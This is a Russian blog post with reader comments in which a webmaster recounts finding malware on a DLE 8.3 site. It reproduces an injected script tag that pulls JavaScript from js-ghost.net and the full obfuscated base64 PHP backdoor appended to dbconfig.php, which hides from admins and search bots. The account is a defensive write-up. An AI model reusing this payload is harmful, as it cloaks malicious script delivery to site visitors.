Вирусы на DLE
Сколько я не работал с разными движками – dle остается самым дырявым корытом, в которое постоянно сливают помои в виде вирусов. Ни одна дыра, так другая. Ни другая – так третья. Постоянно приходится обновляться и следить за тем, чтобы на сайтах не появилось новых ссылок, заключенных в display: none. Этот геморой уже порядком надоел и вместо того, чтобы развивать сайты, приходится по полдня выяснять, где же эта сука (вирус) засела.
Вот и сегодня приключился казус. Просыпаюсь как обычно утром, часов эдак в 2. Завтракаю и захожу в панель вебмастера от Яндекса, чтобы глянуть на сайты. Параллельно вижу по статистике посещаемости, что трафик на одном из сайтов идет на уровне “-500″, по сравнению с прошлым днем. Тревожный звонок, ага. Это как тёща, которая звонит и говорит, что все дела по дому у себя сделала и думает чем бы ей заняться. Припрётся, точно. Итак, захожу в панель – и вижу напротив сайта значок, похожий на знак радиационной угрозы, только красный. Такой меткой Яндекс помечает сайты, зараженные вирусом, а в выдаче мы можем наблюдать “Этот сайт может нанести вред вашему компьютеру”.
Я почти не удивился, DLE же. Полез искать заразу. Так как я был залогинен админом на сайте, то исходный код был чистым. Вирус не показывался тем, кто заходит под своим аккаунтом на сайт. Зато для гостей был виден кусок кода, сразу перед html. Выглядит оно так:
<script language=”JavaScript” charset=”windows-1251″ rel=”nofollow” src=”http://js-ghost.net/gate.php?id=666″></script>
Начал искать в шаблонах этот код – нету. Перерыл все файлы на сервере, дата изменения которых была относительно свежей. Хрен там. Часа 2 потратил на то, чтобы найти информацию по этой строчке. Яша и гугл почти ничего не сказали. Только локальные случаи, на которых никто не мог найти решения. Слил весь сайт себе на жесткий, стал искать разные варианты адреса – тоже хрен. Глупо было надеятся, что этот код будет лежать в файле в открытом виде. Было бы слишком просто.
Потом начал искать общую инфу по вирусам в dle и смотреть, куда они обычно прописывают себя. И, алиллуйя, добрался до файла engine/data/dbconfig.php (конфигурационный файл базы данных), где в конце был вписан код:
$GLOBALS['_gro_']=Array(base64_decode(‘cHJlZ19tYXR’ .’ja’ .’A==’),base64_decode(‘cHJl’ .’Z19tYXRj’ .’aA=’ .’='),base64_decode(‘cHJlZ19′ .’tY’ .’XRjaA==’)); ?><? function gro($i){$a=Array(‘ZGxlX3Bhc3N3b3Jk’,'L3lhbmRleC9p’,'SFRUUF9VU0VSX0FHRU5U’,'L2dvb2dsZS9p’,'SFRUUF9
VU0VSX0FHRU5U’,'L2JvdC9p’,'SFRUUF9VU0VSX0FHRU5U’,'PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNj
cmlwdCIgY2hhcnNldD0id2luZG93cy0xMjUxIiByZWw9Im5vZm9sbG93IiBzcmM9Imh0dHA6Ly9qcy1naG
9zdC5uZXQvZ2F0ZS5waHA/aWQ9NjY2Ij48L3NjcmlwdD4=’);return base64_decode($a[$i]);} ?><? if((!isset($_COOKIE[gro(0)]))and(!$GLOBALS['_gro_'][0](gro(1),$_SERVER[gro(2)]))and(!$GLOBALS['_gro_'][1](gro(3),$_SERVER[gro(4)]))and(!$GLOBALS['_gro_'][2](gro(5),$_SERVER[gro(6)]))){echo gro(7);}
Эта зараза как раз и давала такой эффект. Причем дата изменения файла была древней и поэтому я не обращал на это внимания. Позже в админке обнаружился второй админ, который появился на сайте неделю назад. Удалил его и переименовал файл admin.php, чтобы ворота у сайта не были так явно открыты.
Можно было обновить версию движка (у меня стоит 8.3), но было влом, поэтому потратил куеву тучу времени на поиск этой заразы. Надеюсь, я не один такой раздолбай с дыркой в dle и эта инфа пригодится еще кому-нибудь (: трулала…
Куча времени? Листай дальше:

31 марта, 2011 в 10:22
Спасибо Максим за Статью а то на форумах по дле нормальных ответов не дождешься и на серче новые темки всплывают про вирусы на дле.
3 апреля, 2011 в 15:52
DLE как был дырявым движком, так им останется, странно что никто не предпринимает попыток хоть как – то исправить эту корявость.
5 апреля, 2011 в 12:39
Вроде бы в новой версии немного дыры подлатали,хотя нужно проверять!
7 апреля, 2011 в 13:37
Работал с движком Social Engine, такая же какашка. Столько багов, столько дыр, столько недоработок. Один раз панель администратора взломали
11 апреля, 2011 в 10:47
Была аналогичная проблема, только с wordpress`ом. Выловил очень быстро: поиск по всем файлам *.php в каталоге, содержащим строку “base64_decode”.
На все-провсе ушло минут 10.
23 апреля, 2011 в 3:08
8.3 на моей памяти самая дырявая версия. 8.5 и 9.0 имеют так же свои дыры (начиная получением прав админа, заканчивая загрузкой шелла в папку uploads/files и последующим управлением файлами на сервере), не советую ставить. Лучше сразу 9.2 – пока всё чисто
23 апреля, 2011 в 8:00
А что вы хотели от 8.3 – самой дырявой версии. Да и вообще от двига, разработанного одним человеком, а не командой.
16 мая, 2011 в 11:47
А нефиг ставить нулы и модули платные, которые в паблик слиты.
Либо ставьте не ленитесь обновления (бакг фиксы), которые присутствуют на официальном сайте.
Зачастую взламывают именно из-за того, что людям лень обновлять движок до актуальной версии и заплатки не ставят.
Да и шэллы в модули кул хацкеры встраивают спецом (особенно в платные, которые выкладывают на крупных ресурсах по DLE).
Покупайте модули у производителей!
28 мая, 2011 в 13:33
Точно такой же код остался, после удаления из папки уплоадс аж целого сайта про титьки, кучи .htaccess с матерными словами внутри и еще всякгого мусора. Нету его в dbconfig.php. Вылазит в старых постах, но не во всех, чищу уже около месяца, у меня тоже стоит ДЛЕ 8.3. Наверное где то в Базе данных, вот ищу инфы и помощи как его выковырять, после буду обновляться, а сейчас смысла нет.